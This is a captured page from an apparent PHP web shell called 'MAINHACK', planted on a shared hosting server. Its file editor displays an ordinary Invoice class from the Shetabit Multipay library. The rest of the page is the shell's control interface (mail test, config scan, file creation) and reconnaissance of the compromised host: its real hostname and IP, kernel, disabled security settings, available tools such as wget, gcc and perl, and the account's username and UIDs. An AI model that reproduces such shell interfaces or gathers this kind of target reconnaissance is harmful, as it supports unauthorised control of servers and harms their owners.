[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Invoice.php
<?php namespace Shetabit\Multipay; use Ramsey\Uuid\Uuid; use Shetabit\Multipay\Traits\HasDetail; class Invoice { use HasDetail; /** * invoice's unique universal id (uuid) * * @var string */ protected $uuid; /** * Amount * * @var int|float */ protected $amount = 0; /** * invoice's transaction id * * @var string */ protected $transactionId; /** * @var string */ protected $driver; /** * Invoice constructor. * * @throws \Exception */ public function __construct() { $this->uuid(); } /** * Set invoice uuid * * @param $uuid|null * * @throws \Exception */ public function uuid($uuid = null) { if (empty($uuid)) { $uuid = Uuid::uuid4()->toString(); } $this->uuid = $uuid; return $this; } /** * Get invoice uuid * * @return string */ public function getUuid() { return $this->uuid; } /** * Set the amount of invoice * * @param $amount * * @return $this * * @throws \Exception */ public function amount($amount) { if (!is_numeric($amount)) { throw new \Exception('Amount value should be a number (integer or float).'); } $this->amount = $amount; return $this; } /** * Get the value of invoice * * @return int|float */ public function getAmount() { return $this->amount; } /** * set transaction id * * @param $id * * @return $this */ public function transactionId($id) { $this->transactionId = $id; return $this; } /** * Get the value of transaction's id * * @return string */ public function getTransactionId() { return $this->transactionId; } /** * Set the value of driver * * @param $driver * * @return $this */ public function via($driver) { $this->driver = $driver; return $this; } /** * Get the value of driver * * @return string */ public function getDriver() { return $this->driver; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285